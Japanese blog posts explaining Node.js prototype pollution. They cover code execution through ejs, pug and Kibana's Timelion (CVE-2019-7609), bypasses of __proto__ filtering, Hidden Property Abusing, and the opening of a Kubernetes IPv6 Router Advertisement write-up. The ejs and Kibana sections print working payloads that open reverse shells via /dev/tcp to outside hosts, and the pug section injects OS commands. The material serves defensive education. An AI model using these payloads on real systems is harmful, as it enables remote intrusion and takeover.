この例ではexpress-fileuploadが脆弱なためプロトタイプ汚染が可能です。しかしexpress-fileupload内でコマンド実行を狙うのではなく、別のOSSであるejsの変数を狙います。

具体的には outputFunctionName というejs内で利用される変数を汚染します。以下はejsのコードですが、動的にNode.jsのコードを組み立てています。その中で outputFunctionName が埋め込まれていることが分かります。

    if (!this.source) {
      this.generateSource();
      prepended += '  var __output = [], __append = __output.push.bind(__output);' + '\n';
      if (opts.outputFunctionName) {
        prepended += '  var ' + opts.outputFunctionName + ' = __append;' + '\n';
      }
      if (opts._with !== false) {
        prepended +=  '  with (' + opts.localsName + ' || {}) {' + '\n';
        appended += '  }' + '\n';
      }
      appended += '  return __output.join("");' + '\n';
      this.source = prepended + this.source + appended;
    }

さらにこのオプションはデフォルトで定義されていないため、プロトタイプ汚染にもってこいな値となっています。自由にNode.jsのコードを埋め込めるということは自由にOSコマンドも実行可能ということを意味します。

上のブログでは丁寧にPythonスクリプトも載せてくれていました。

import requests

cmd = 'bash -c "bash -i &> /dev/tcp/p6.is/8888 0>&1"'

# pollute
requests.post('http://p6.is:7777', files = {'__proto__.outputFunctionName': (
    None, f"x;console.log(1);process.mainModule.require('child_process').exec('{cmd}');x")})

# execute command
requests.get('http://p6.is:7777')

上のスクリプトを見ると __proto__.outputFunctionName を汚染してNode.jsのコードを埋め込んでいることが分かります。

ここで面白いのは最初のPOSTリクエストでは発火せずにexpress-fileupload経由で汚染するだけで、2回目のGETで発火するところです。手元で試しましたが、恐ろしく簡単に成功しました。当たり前ですが汚染された状態のままなので、次回以降のGETリクエストでは常に発火します。

ejsの outputFunctionName が狙い目というのは知っている人の間では常識のようです。

pugの例

こちらも同じ方のブログで紹介されていた方法です。

blog.p6.is

pugも上述したejs同様に広く使われているテンプレートエンジンです。使い方もブログにあったものをそのまま持ってきていますが、テンプレートを定義してコンパイルし、生成された関数に対して変数を渡して結果を出力するというシンプルなものです。

const pug = require('pug');

const source = `h1= msg`;

var fn = pug.compile(source);
var html = fn({msg: 'It works'});

console.log(html); // <h1>It works</h1>

これも本題からずれますが、利用例などを見ていたのですがあまりpug.compileしている例を見つけられませんでした。

pug.compile は受け取った文字列をテンプレート関数に変換しています。その後、生成された関数(上の場合はfn)を使って最終的な値を出力しています。内部でどのようなことが行われているのかを確認します。

f:id:knqyf263:20200810230933p:plain

Lexerがテンプレートを解析してTokensにし、ParserがASTに変換し、CompilerがFunctionを生成するという一般的な流れです。ということでASTを処理する箇所があるのですが、今回の方法ではプロトタイプ汚染によってASTを途中で注入するというのがユニークなところです。

以下のように walkAST 内で ast.block にアクセスする処理があります。

switch (ast.type) {
    case 'NamedBlock':
    case 'Block':
        ast.nodes = walkAndMergeNodes(ast.nodes);
        break;
    case 'Case':
    case 'Filter':
    case 'Mixin':
    case 'Tag':
    case 'InterpolatedTag':
    case 'When':
    case 'Code':
    case 'While':
        if (ast.block) {
        ast.block = walkAST(ast.block, before, after, options);
        }
        break;
    ...

pugの該当箇所は以下です。

github.com

ブログ内では ast.typeWhile の場合に ast.block が処理されると書いてありましたがbreakがないので、その上のcaseにマッチしても処理されそうです。いずれにせよテンプレート内で変数を使っていれば通る処理であり、特に複雑な条件は必要ないとブログでは書かれていました。そもそも変数使わないならテンプレートエンジン使わないと思うので高確率で処理されるということかと思います。

このblockというプロパティはASTである必要があるため、プロトタイプ汚染を使ってblockにASTを注入します。そしてそのASTの val というプロパティが最終的な結果に出力されるようです。言葉では分かりにくいのでサンプルコードを見ます。

const pug = require('pug');

Object.prototype.block = {"type":"Text","val":`<script>alert(origin)</script>`};

const source = `h1= msg`;

var fn = pug.compile(source, {});
var html = fn({msg: 'It works'});

console.log(html); // <h1>It works<script>alert(origin)</script></h1>

上の例では Object.prototype.block を汚染してASTを注入しています。この汚染は説明したように別のOSS経由でも良いです。そうすると結果の最後に val として与えた文字列が足されていることが分かると思います( <script>alert(origin)</script> の部分)。

あまりその辺りの説明がないので分からないですが、プロトタイプ汚染によって Object.prototype.block 経由でASTに新しくノードを足したことで、本来テンプレートにはない値が追加されてしまったのだと思います。そのASTを基にFunctionを作っているため、そちらにも混入し当然最終結果にも含まれます。

理解が間違ってる可能性があるのでテンプレートエンジンのプロから指摘あればお願いします。

無事に任意のノードをASTに入れることが出来るようになったので、あとはそれを使って悪用するステップになります。

pug-code-genではASTを基に関数を生成するわけですが、その中に以下のような処理があります。

if (debug && node.debug !== false && node.type !== 'Block') {
    if (node.line) {
        var js = ';pug_debug_line = ' + node.line;
        if (node.filename)
            js += ';pug_debug_filename = ' + stringify(node.filename);
        this.buf.push(js + ';');
    }
}

pug/index.js at f97ebdb48c7c0fdd4ff4b7418dcf4e03b27a1405 · pugjs/pug · GitHub

pug_debug_line を定義する処理ですが、そこに node.line の値を入れています。これはデバッグ用途で行番号を保存するための変数になります。 node.line が存在すれば代入し、なければskipするようになっています。

当たり前ですが、この node.line は本来常にintegerになります。nodeは pug-parser によって渡される値のはずなので、integer以外が渡されることはあり得ません。しかし既に見てきたように我々はAST Injectionによって自由な node を定義可能です。

ということは node.line 経由で自由なNode.jsのコードが渡せてしまうとうことです。

const pug = require('pug');

Object.prototype.block = {"type": "Text", "line": "console.log(process.mainModule.require('child_process').execSync('id').toString())"};

const source = `h1= msg`;

var fn = pug.compile(source, {});
console.log(fn.toString());

このように line の値としてOSコマンドが実行される処理を渡します。その結果生成される関数は以下のようになります。

function template(locals) {
    var pug_html = "",
        pug_mixins = {},
        pug_interp;
    var pug_debug_filename, pug_debug_line;
    try {;
        var locals_for_with = (locals || {});

        (function (console, msg, process) {;
            pug_debug_line = 1;
            pug_html = pug_html + "\u003Ch1\u003E";;
            pug_debug_line = 1;
            pug_html = pug_html + (pug.escape(null == (pug_interp = msg) ? "" : pug_interp));;
            pug_debug_line = console.log(process.mainModule.require('child_process').execSync('id').toString());
            pug_html = pug_html + "ndefine\u003C\u002Fh1\u003E";
        }.call(this, "console" in locals_for_with ?
            locals_for_with.console :
            typeof console !== 'undefined' ? console : undefined, "msg" in locals_for_with ?
            locals_for_with.msg :
            typeof msg !== 'undefined' ? msg : undefined, "process" in locals_for_with ?
            locals_for_with.process :
            typeof process !== 'undefined' ? process : undefined));;
    } catch (err) {
        pug.rethrow(err, pug_debug_filename, pug_debug_line);
    };
    return pug_html;
}

真ん中の辺りに pug_debug_lineline の値を代入するところがあります。

pug_debug_line = console.log(process.mainModule.require('child_process').execSync('id').toString());

id コマンドを実行しています。この関数が pug.compile の結果として返され、その関数を実行するので無事にOSコマンドが実行されます。念の為再掲しておきますが、 fn の部分です。

var fn = pug.compile(source, {});
var html = fn({msg: 'It works'});

ということでプロトタイプ汚染を使うことでLexerの処理をバイパスして好きなASTを入れるという方法でした。何というか面白かったです(小学生並みの感想)。

ブログ内では Handlebars に対するAST Injectionの方法も解説されているので興味がある人は読んでみて下さい。

Kibanaの例(CVE-2019-7609)

最後にKibanaの任意コード実行の例です。上の2つの例と違って、Kibana上でプロトタイプ汚染をしてそのままKibanaで任意コード実行につなげるパターンです。上の2つはテンプレートエンジンの正常な挙動とプロトタイプ汚染を組み合わせた例なので脆弱性ではないですが、こちらはKibanaの脆弱性になります。個人的にはこれが結構好きです。

詳細が知りたい方は以下のブログをどうぞ。

research.securitum.com

まず脆弱性はKibanaのTimelion機能にありました。

f:id:knqyf263:20200811040829p:plain

Timelionでは props という関数を使ってラベルを生成することが出来ます。上の例では .es(*).props(label='ABC') としているのでABCになります。実はこのpropsは文字列だけではなくてオブジェクトもlabelに代入することが出来ます。つまり、 .es(*).props(label.x='ABC') と指定するとラベルは { x: 'ABC' } になります。

もうここまで真面目に読んできた人なら分かると思いますが、以下の方法でプロトタイプ汚染が可能です。

.es.props(label.__proto__.x='ABC')

プロトタイプ汚染の良いところは、一度汚染してしまえばこのTimelion機能に関わらず全ての機能が攻撃対象となるところです。そこで、このブログの筆者はCanvas機能を利用した時に child_process.spawn されていることに気付いたそうです。具体的にはKibanaが node のプロセスを起動しようします。

とはいえその引数を簡単に汚染して終了という感じではなかったようです。恐らくこれはプロパティが未初期化じゃないとプロトタイプ汚染が刺さらないというところに関係していると思います。nodeコマンドに渡す値が空ということはないと思うので。ですが、さらに調査して環境変数を設定する箇所を見つけました。

var env = options.env || process.env;
var envPairs = [];
 
for (var key in env) {
  const value = env[key];
  if (value !== undefined) {
    envPairs.push(`${key}=${value}`);
  }
}

1行目から感じられる通り、options.env はデフォルトでは設定されていないようです。そのためプロトタイプ汚染に最適な変数です。つまり、環境変数が自由に設定できるようになりました。とはいえ実行できるコマンドはnodeに固定されており、ここからどうするのかなと自分も気になったのですが、nodeには NODE_OPTIONS という環境変数があり、これを使うとnodeの引数を制御できるようです。

さらにnodeには --eval という変数がありこれでゲーム終了かと思いきや、 NODE_OPTIONS 経由での --eval は許可されていなかったとのことです。

$ node --eval 'console.log(123)'
123
$ NODE_OPTIONS='--eval console.log(123)' node
node: --eval is not allowed in NODE_OPTIONS

念の為手元でも試してみましたが動かずでした。しかしさらなる執念で --require を発見します。これはnode起動時にJavaScriptの任意のファイルを読み込めるというものです。

ラッキーなことにこちらは NODE_OPTIONS 経由でも動きます。

$ echo 'console.log(123)' > file.js
$ NODE_OPTIONS='--require ./file.js' node
123
Welcome to Node.js v14.5.0.
Type ".help" for more information.
>

やはり自分の環境でも動きました。nodeのインタプリタが起動する前に123が出力されています。

あとは任意のファイルさえアップロードできれば任意コード実行に繋げられます。自分はこの後の方法が全く思いつかなかったのですが、この方は /proc/self/environ を使うことを思いつきます。これは現在のプロセスの環境変数を全て表示してくれる特殊なファイルのようなものです。

プロトタイプ汚染によって環境変数が自由に制御できるため、 /proc/self/environ に好きな文字列を注入することが出来ます。そこで環境変数の値としてJavaScriptの関数を入れてその後をコメントアウトします。

bash-5.0# AAA='console.log(123)//' cat /proc/self/environ
AAA=console.log(123)//HOSTNAME=7a833b2d194fPWD=/HOME=/rootTERM=xtermSHLVL=2PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin_=/bin/cat

この時、 /proc/self/environ の先頭は AAA=console.log(123) になって偶然にも(?)正しいJavaScriptのコードになります。それ以降はコメントアウトされているので影響しません。つまり /proc/self/environ を読み込めばJavaScriptとして動作してくれるようになります。

root@888e984965f5:/# NODE_OPTIONS='--require /proc/self/environ' AAA='console.log(123)//' node
123
Welcome to Node.js v14.7.0.
Type ".help" for more information.
>

手元で試しましたが、確かに123が表示されています。

ちなみに、上では自分で足したAAAという環境変数が先頭に来てくれているため正しくJSとして認識されていますが、これが最後に来てしまうと前半にゴミが入ってしまうので当然うまくいきません。上はbashで試していますが、shだと先頭に来てくれず動きませんでした。

/ # AAA='console.log(123)//' cat /proc/self/environ
HOSTNAME=7a833b2d194fSHLVL=3HOME=/root_=/proc/self/environTERM=xtermPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/binAAA=console.log(123)//PWD=//

この状態で --require/proc/self/environ を渡しても失敗します。

/ # NODE_OPTIONS='--require /proc/self/environ' AAA='console.log(123)//' node
/proc/9/environ:1
NODE_VERSION=16.10.0
                  ^^

SyntaxError: Unexpected number

脱線しましたがこれで好きなコマンドが実行できるようになったため、あとはリバースシェル張るだけの簡単なお仕事です。

.es(*).props(label.__proto__.env.AAAA='require("child_process").exec("bash -i >& /dev/tcp/192.168.0.136/12345 0>&1");process.exit()//')
.props(label.__proto__.env.NODE_OPTIONS='--require /proc/self/environ')

上記をTimelionに貼って汚染したあとにCanvasを開けば発火します。

ということで終わりですが、これに関してはプロトタイプ汚染とかよりも環境変数のみ操作できる状態から任意コード実行に繋げたところが凄いと思います。環境変数さえ制御できればnodeのプロセスが起動されるところでコマンド実行まで行けるというのは大きな知見な気がします。

まとめ

今回は事例紹介するだけのゆるふわ記事でしたが、プロトタイプ汚染をするとその後に無限の可能性が広がっていることが分かったと思います。未初期化の変数を見つけてしまえばそこからいくらでも悪さできそうです。もちろんアプリケーションの実装に依存はしますが、今回の事例のように利用している他のOSSなども考慮するとやはり危険ですしプロトタイプ汚染をきちんと防ぎましょうということですね。

理由も分からずプロトタイプ汚染を防げと言われても深刻度が分からないとピンとこないということもあるかと思ったため、今回はアフタープロトタイプ汚染(Withプロトタイプ汚染)についてまとめました。

__proto__の除去でNode.jsのプロトタイプ汚染を防げないケース

前提

Node.jsのプロトタイプ汚染について書いているのですが、プロトタイプの説明(prototype__proto__ の関係とか)を定期的に見直さないと綺麗サッパリ忘れる程度にはNode.js触っていないので、何かおかしいところあればご指摘お願いします。

概要

Node.jsではここ数年プロトタイプ汚染攻撃が流行っています。概要は以下を見れば分かると思います。

jovi0608.hatenablog.com

そもそもプロトタイプって何?という人は以下の記事が分かりやすいです。自分はお守りのように定期的に読んでます。

qiita.com

外部から送られてきたJSONなどをパースして変換し、そのオブジェクトをmergeやcloneする際に __proto__ を上書きすることで Object.prototype を汚染するというものです。このオブジェクトが書き換えられると、新しく作られたオブジェクトの __proto__Object.prototype を指していてかつプロトタイプチェーンによって __proto__ を辿っていくため、全く関係ないように見えるオブジェクトまで影響を受けてしまうというものです。toString や valueOf なども Object.prototype に定義されているためそれらを上書きすることも可能です。ただ基本的には関数の処理を定義できるわけではないため、どこまで出来るかは実装次第かと思います。

この攻撃方法は色々なライブラリが影響を受けたため各OSSで修正されました。どのように修正したかと言うと __proto__ がkeyの場合にはskipするというものです。対策としてはObject.freezeを使う、Mapを使う、など色々あるのですがfreezeを想定していないライブラリが動かなくなったり、Mapに全て置き換えるのは変更点が大きすぎる、など修正が容易ではないと判断され、一旦 __proto__ の除去で落ち着いたのではないかと考えています。

こちらのはせがわさんの記事でもJSON.parse内で __proto__ を除去する方法を取っています。

techblog.securesky-tech.com

ですが、実は __proto__ の除去では修正が不十分だったということでライブラリのいくつかはその後に追加で修正しており、その内容について今回は紹介します。

一部では当たり前の内容だとは思いますが、意外とまとめている記事が見つからなかったので書いてみました。

詳細

オブジェクトのmerge/cloneなど

上のQiita記事内のプロトタイプの図を見た方は気付く方もいるかと思いますが、 Object.prototype に至る道は __proto__ のみではありません。 obj.constructor.prototype でも Object.prototype にアクセス可能です。この場合、 __proto__ というプロパティ名は出てこないため __proto__ の除去では防ぐことが出来ません。

Snykのブログでlodashが追加で修正された旨が説明されています。

snyk.io

どうでも良いのですが、自分は脆弱性スキャナーを作っておりこのlodashの脆弱性がテストプロジェクトでずっと検知されていました。Snykが公表したのが2019/07/04だったためそこで脆弱性データベースに修正バージョン無しで登録され、lodashが4.17.12を2020/07/09に公開するまで1年間検知され続けていました。

さて、では実際に脆弱性のサンプルを見てみます。まずはシンプルなプロトタイプ汚染です。

function isObject(obj) {
  return obj !== null && typeof obj === 'object';
}

function merge(a, b) {
  for (let key in b) {
    if (isObject(a[key]) && isObject(b[key])) {
      merge(a[key], b[key]);
    } else {
      a[key] = b[key];
    }
  }
  return a;
}

const obj1 = {a: 1, b:2};
const obj2 = JSON.parse('{"__proto__":{"polluted":1}}');
merge(obj1, obj2);
const obj3 = {};
console.log(obj3.polluted); // 1

これは __proto__ が上書きできてしまうため脆弱です。では __proto__ を除去してみましょう。

function isObject(obj) {
  return obj !== null && typeof obj === 'object';
}

function merge(a, b) {
  for (let key in b) {
    if (key === '__proto__') {
      continue
    } else if (isObject(a[key]) && isObject(b[key])) {
      merge(a[key], b[key]);
    } else {
      a[key] = b[key];
    }
  }
  return a;
}

const obj1 = {a: 1, b:2};
const obj2 = JSON.parse('{"__proto__":{"polluted":1}}');
merge(obj1, obj2);
const obj3 = {};
console.log(obj3.polluted); // undefined

__proto__ を除去しているため、JSONの入力として __proto__ を渡されてもプロトタイプ汚染は起きません。では先程の constructor.prototype を使うケースはどうでしょうか?mergeとisObjectは同じなので割愛しています。

const obj1 = {a: 1, b:2};
const obj2 = JSON.parse('{"constructor":{"prototype": {"polluted": 1}}}');
merge(obj1, obj2);
const obj3 = {};
console.log(obj3.polluted); // undefined

実はこれは安全です。ちょっと煽り気味にここまで溜めましたが、この例では実はバイパスできません。理由は isObject の実装にあります。typeof obj === 'object' していますが、obj2.constructorはfunctionになるためここでfalseが返ります。

> typeof {}.constructor
< "function"

そうすると再帰でアクセスされずelseの方に入り単に上書きされます。つまり、単に {"prototype": {"polluted": 1}} というオブジェクトが constructor というプロパティに代入されるだけになります。constructorの指しているオブジェクト(攻撃者が書き換えたいやつ)に対してはアクセスしてくれません。

ではlodashの defaultsDeep はなぜ影響を受けたのか?というと以下を見てもらえれば分かります。

lodash/lodash.js at 4.17.11 · lodash/lodash · GitHub

function isObject(value) {
  var type = typeof value;
  return value != null && (type == 'object' || type == 'function');
}

このように、functionの場合もtrueが返ります。最初見た時はObjectだけじゃないの?!と思いましたが上記のコメントにも書いてある通りfunctionもオブジェクトですしプロパティも持てるので、厳密にコピーしようとするならfunctionの場合も各プロパティをコピーしてあげる必要があるのかと思います。

> var a = function(){}
> a.b = 1

対策としてこちらのPRで constructor もskipするような処理が追加されています。

github.com

つまり、もしmergeやdeep copyなどを自前実装していて、functionも正しくコピーしようとしている場合は __proto__ だけ除去しても影響を受けます。可能性としては低いような気がするのですが、実際にlodashなどがそのように扱っていることを考えると影響を受ける人が0かというとそうではないかなと思ったためまとめました。

プロパティの設定

プロパティの設定でも同じです。以下のようにオブジェクトに値を設定する場合ですね。

setValue(obj1, "__proto__.polluted", 1);

setValueの実装は以下のようなものです。isObjectは同じ。

function setValue(obj, key, value) {
  const keylist = key.split('.');
  const e = keylist.shift();
  if (keylist.length > 0) {
    if (!isObject(obj[e])) obj[e] = {};

    setValue(obj[e], keylist.join('.'), value);
  } else {
    obj[key] = value;
    return obj;
  }
}

以下は express-fileupload で見つかったプロトタイプ汚染の話ですが、まさにプロパティの設定系の問題でした。

blog.p6.is

parseNested というオプションがあり、それをtrueにすると {"a.b.c": 1}{"a": {"b": {"c": 1}}} に変換されます。これ以上は説明しなくても察すると思います。

そして例によって修正PRで __proto__ を除去しました。

github.com

しかしconstructorでバイパスできるぞと指摘を受け、今度はconstructorも除去します。

github.com

ただこうなると、本当にこの2つで防げているのか?ということが気になってきます。そこでObjectとArrayの持つ全てのプロパティをブロックしてしまおう、ということで現在はその様になっています。

github.com

抜粋しておきます。

const OBJECT_PROTOTYPE_KEYS = Object.getOwnPropertyNames(Object.prototype);
const ARRAY_PROTOTYPE_KEYS = Object.getOwnPropertyNames(Array.prototype);

...

const IN_ARRAY_PROTOTYPE = ARRAY_PROTOTYPE_KEYS.includes(k) && Array.isArray(current);
if (OBJECT_PROTOTYPE_KEYS.includes(k) || IN_ARRAY_PROTOTYPE) {
    continue;
}

getOwnPropertyNamesObject.prototypeArray.prototype のプロパティ名を列挙してそれらを全部弾くという方法ですね。

これだとtoStringとかvalueOfとかも全部弾かれるので、typeの確認ぐらいはしたほうが親切なのかなと思ったりもしましたが、余程のことがない限りは問題ないような気もするので安全側に倒すなら良いのかもしれません。

こういったプロパティの設定やドット繋ぎをネストに変換するという処理はobjectの確認をせずに行うこともあるようなので、オブジェクトのmerge/cloneよりバイパスされる可能性が少し高そうです。

おまけ

Hidden Property Abusing

先日のBlack Hatで以下のNode.jsに関する発表がありました。今回の調査内で一緒に調べたので発表を見れば分かることでありますが、軽くまとめておきます。

www.youtube.com

発表スライドは以下にあります。

https://i.blackhat.com/USA-20/Wednesday/us-20-Xiao-Discovering-Hidden-Properties-To-Attack-Nodejs-Ecosystem.pdf

こちらも勝手にプロトタイプ汚染なのかなと思って見てみたのですが、こちらはアプリケーション側が想定していないプロパティを送りつけることで意図しない挙動を起こさせる、というものでプロトタイプ汚染とは全然関係ありませんでした。

発表内で constructor を上書きする攻撃方法も紹介されていますが、こちらも __proto__ の値を書き換えるわけではなくてオブジェクトに constructor という値を新しく入れるだけです。つまりそのオブジェクトのみが影響を受けるだけでグローバルな汚染は起きていません。

アプリケーションにおいて constructor が重要な役割を果たす場合に、プロトタイプチェーンによって本来 __proto____constructor が呼ばれるところをそのオブジェクトが持つ constructor を呼ばせることで悪さするというものです。

ということでこの脆弱性は意図しないプロパティを上書きされるという観点から見るとRuby on RailsのMass Assignmentに似ていると考えられます。実際に発表内でも同系統として触れられています。

f:id:knqyf263:20200809222532p:plain

ちなみにここにPHPのObject Serializationが入るのはよく分かっていなくて、それだと他にもJavaとかRubyの安全でないデシリアライゼーションもここに入ってくるんでしょうか?今回のはオブジェクトのデシリアライズとは少し違うような気もしますが、JSONなどをオブジェクトに変換するという点でデシリアライズと言えなくはないから同じ扱いなんですかね。

言葉で説明しても分かりにくいので具体例を見てみます。

アプリケーション固有の値の上書き

以下の例ではaccessプロパティは内部関数によってのみ変更され、ユーザが変更できるものではないとします。さらにユーザがageを変更するためのAPIとして update(input) を提供していたとします。通常であれば {age: 60} というinputを受け取ってその値を使って更新するだけになりますが、受け取った入力をそのままオブジェクトにして利用する場合だと {age: 60, access: "admin"} などと言った値を受け取ることでaccessをadminに変更してしまう可能性があります。

f:id:knqyf263:20200809232802p:plain

このaccessのように外部から変更されることが想定されていない隠れたプロパティを上書きできてしまうというのがこの攻撃方法に基本になります。

MongoDB (CVE-2019-2391)

上の例ではアプリケーションが利用するために保持しているプロパティで、かつ変更が想定されていないものを上書きするという方法でしたが、こちらは内部のロジックで使われるようなプロパティの話になります。バリデーション通ったあとにオブジェクトに __validated: true のプロパティを保存しておく、といったものです。もし __validated を外部から制御できてしまったら、SQLインジェクションのバリデーションなどをすり抜けてしまうかもしれません。

Node.jsの公式MongoDBドライバでは内部で _bsontype というプロパティを使っているそうです。ここに有効でない値が入っている場合、シリアライズをしなくなるという問題があるため攻撃者が意図的に _bsontype という値をアプリケーションに渡すことで不正を引き起こすという脆弱性です。

jira.mongodb.org

以下の例ではidに対してnew ObjectIdでインスタンスを生成し、内部でシリアライズしているのだと思いますがそこを失敗させることでクエリの条件を無効にすることが出来ます。つまり、このケースでは必ず最初のユーザが返されるため他人になりすましが可能となります。

f:id:knqyf263:20200809223358p:plain

発表を聞いた感じはこのidを細工して _bsontype という値を渡す必要がありそうですが、そもそもstringが来るところにオブジェクトを入れられるんだろうか...辺りがよく分からずでした。仮にオブジェクトを渡せるとして、ユーザから渡ってきたidをそのまま利用する状況も想像できませんでした。さらに仮にユーザから渡された値を使うとしても、CookieやJWTトークンと比較して本当にそのユーザであるかの検証ぐらいはすると思うので、stringの場所にオブジェクトを渡してそういう検証をパス出来るものなのだろうか...などと腑に落ちてません。

発表では不正な _bsontype を注入すれば行けるぜ!ぐらいしか触れてなかったので、もしかしたら自分と違ってNode.js詳しい人からすると何か当たり前の前提があるのかもしれません。

今回の修正はv1系にしか影響を与えないため、v4系を使っていれば問題なさそうです。

taffyDB (CVE-2019-10790)

インメモリDBであるtaffyDBの例ですが、こちらも攻撃自体はシンプルで内部的にインデックス目的で利用されている ___id を悪用してSQLインジェクションします。___id は各レコードに対応しており、 ___id が渡された場合は他のクエリ条件を無視してそのレコードを返します。

つまり、usernameとpasswordでDBから取得しようとするようなケースでは ___id を渡してしまえば認証をスキップできるということです。この ___id の値もT000002R000002 などで推測が容易とされています。

f:id:knqyf263:20200809224702p:plain

こちらのOSSは既にdeprecateされており、この脆弱性も修正されていません。

影響するOSS

発表スライドに影響を受けるOSS一覧が載っていたので自分が利用していないか確認することを推奨します。

f:id:knqyf263:20200809225124p:plain

ただあくまで現時点で発表者が見つけたものであり、今後も同じ方法で見つかる可能性があります。今後の動向は追っていく必要があるかと思います。

Hidden Property Abusingまとめ

既にRailsなどでMass Assignmentなどと戦っていた人からするとそこまで新しい攻撃方法とは感じなかったかもしれません。Railsでは既存のDBカラムなどを上書きされないように守るというのがメインでしたが、こちらは内部で利用されているパラメータを狙ったりする点で多少異なりそうです。新しくパラメータを生やすことも出来ます。

このHidden Property Abusingは完全にアプリケーション依存です。

  1. 内部的に使っているプロパティが上書きされて困るケース( __bsontype などのケース)
  2. 外部から変更されることが想定されていないプロパティが上書きされて困るケース( admin: true など)

これらがないか、というのは各サービス開発者じゃないと判断が難しそうです。今回の発表を受けて一度見直してみると良いのではないかと思います。外部入力(JSONなど)をオブジェクトに変換するところで影響を受ける可能性があります。

今回の発表ではどちらかと言うと、このコンテキスト依存という難しい脆弱性を自動で検知するツールを作ったというところがメインに感じます。さらにそれをOSSとして公開してくれたということなので皆さん是非使いましょう。

github.com

自分もよ〜し使うぞ〜と思ってリポジトリ見に行ったらComing soon...となっていて発表に間に合わなかったんか...となりましたが、期待して待ちましょう。

このHidden Property AbusingもJSON.parseなどで入り込む可能性が高く、__proto__ の除去では防げないためプロトタイプ汚染ではないですがこの記事でまとめて説明しました。

まとめ

protoの除去でプロトタイプ汚染を防げないケースということで紹介しましたが、影響を受けるアプリケーションは限定的だと考えています。とはいえ実際にいくつもOSSが対策の不十分さを指摘され、実際にバイパスされることが証明されていることを考えると必ずしも影響がないとは言い切れないかと思います。

Object.freezeやMapの利用などでしっかりと対策できる場合はそちらが推奨されますが、それが難しい場合は外部からの入力を受け取る口でObject/Arrayのプロパティが上書きされないように弾くなどするほうが良さそうです。それも難しい場合は constructor の除外だけで済ませているケースもあります。さらにその場合もより影響を少なくするためにtypeofでfunctionかどうかを確認すると良さそうです。自分のアプリケーションではバイパスできないかもしれませんが、弾いて問題になるケースがなさそうなら対策しておくに越したことはないのかなと考えています。

そしてプロトタイプ汚染に限らず、そもそも受け取ったJSONをオブジェクトに変換するような場合はHidden Property Abusingの可能性もあるということを紹介しました。外部には露出していないプロパティを上書きされて意図しない挙動が起きることがないか、というのはアプリケーション依存なので各自で確認することが推奨されます。アプリケーションに問題なくても利用しているOSSが影響を受ける可能性があるので npm audit や他のツールで影響がないかを確認しましょう。

プロトタイプ汚染はglobalが汚染されるため一度POSTで汚染してから次のGETで発動させる、といったことも可能であり、その点でHidden Property Abusingとは異なります。Node.jsの特性上、こういった脆弱性は今後も見つかる気がしているので気をつけましょう。

CVE-2020-10749(Kubernetesの脆弱性)のPoCについての解説

少し前ですが、Kubernetesの方から以下の脆弱性が公開されました。 github.com

タイトルにはCVE-2020-10749と書きましたが、複数のCNI実装が影響を受ける脆弱性でCVE-2020-10749はcontainernetworking/pluginsアサインされたものです。他にもCalicoはCVE-2020-13597、DockerはCVE-2020-13401、などとそれぞれCVE-IDがアサインされています。

このIssueの説明を読んで、はいはいあれね完全に理解した、と思って一旦閉じました。ですが、頭で分かった気になって手を動かさないのは一番やってはいけないことと念じ続けてきたのに、しれっと同じことをやりそうになっていた事に気づきました。なので数日経ってからちゃんとPoCを書いてみました。多少知識が増えてくるとついうっかりやってしまいがちなので気をつけなければなと自戒しました。

これは自分の業務ではなくて趣味であり、もちろん全ての脆弱性を検証していくのは不可能なのですが業務でクラウドネイティブ界隈にいるということと、ネットワーク関連の脆弱性ということで自分は検証しておかねばダメだなと思い直し今回検証しました。

ブログは面倒だから良いやと思っていたら会社から"圧"があったので英語で書く前に一旦頭を整理するために日本語で書いておきます。

概要

上のIssueにある通り、攻撃者が悪意あるIPv6 Router Advertisements(RA)をコンテナから送ることで、ホストや他のコンテナの通信を攻撃者配下のコンテナに送らせることが出来るというものです。それを元の宛先に転送してあげれば中間者攻撃(MitM)可能ということになります。ここまでで分かる通り、前提条件として攻撃者が対象のコンテナ内に侵入する必要があります。外部からログインしても良いし細工したコンテナイメージをpullさせても良いのですが、いずれにせよ攻撃条件を満たすのが難しいです。なので正直脆弱性の深刻度としてはかなり低い部類だと思います。

ですが、IPv6使ってないから大丈夫ということはありません。後ほど説明しますがIPv6を完全に無効化していない限りは攻撃者による不正RAによって強引にIPv6のアドレスを付与されます。そして同時にデフォルトゲートウェイも設定されてしまうので攻撃が成立します。でも外部と通信する時はIPv4だから関係ないのでは?と思う方もいらっしゃるかもしれませんが、DNSIPv6のレコード(AAAA)を返す場合はIPv6を優先して使うHTTPクライアントの実装が多いです。自分が2014年ぐらいに調査した時は多くのブラウザなどもそうなっていましたし、2020年時点でもcurlはそうなっています。上のIssueでもその点が強調されているためIPv6?関係ないな、と早計な判断をしないように気をつける必要があります。

ただ、そもそもDHCPやRAには認証や署名などのセキュリティ的な機能は備わっていないので元々不正RAなどに対して脆弱です。スイッチ側での対策などはありますが、プロトコルそのものは特に対策が入っていないと認識しています。ネットワーク詳しい人からツッコミが来るかもしれないのでJPNICのドキュメントも貼っておきます。

www.nic.ad.jp

最近の動向は知らないので既に何かしら対策があるのかもしれないのですが、少なくとも今回の脆弱性では不正RAによる攻撃をKubernetes内で行うといったものになっています。なので、正直これはCNIの脆弱性というべきなのだろうか?というのがあまり理解できていません。もちろんデフォルトでRAを受け取らないようにしておけば攻撃を受けなかったんだから脆弱なデフォルト設定だ、という見方もあると思うのですがLinuxもデフォルトでaccept_ra=1なディストリビューションが多そう(手元で試したUbuntu等は全部有効だった)なので、特別にCNIだけが脆弱と認定された理由は良く分かっていません。

それはさておき脆弱性の説明に入りますが、その前にRAとは何かについて説明しておきます。

Router Advertisements(RA、ルータ広告)とは

これも迂闊なことを言って誤った説明をするのが怖いのでJPNICの説明を引用しておきます。

RA (Router Advertisement; ルータ広告)とは、 IPv6アドレスの自動設定を行う機能(Stateless Address Autoconfiguration, SLAAC)(*1)の一部分で、 RFC4862で標準化されています。

(中略)

IPv6のアドレスを設定したいノードは、 接続しているセグメントにルータが存在するかどうか、 もしあるのであればプリフィクス情報を送るようRS (Router Solicitation; ルータ要請)メッセージを、 すべてのルータ(全ルータマルチキャスト(ff02::2))に対して送信します。 そのメッセージを受け取ったルータは、 RAメッセージをすべてのノード(全ノードマルチキャスト(ff02::1))に対して送ります。 ノードは応答された内容からプリフィクスを取得し、 さらにMACアドレスを元にして数値を生成するEUI-64(*2)やその他のアルゴリズムからインタフェースIDを生成することで、 アドレスを設定することができます。

www.nic.ad.jp

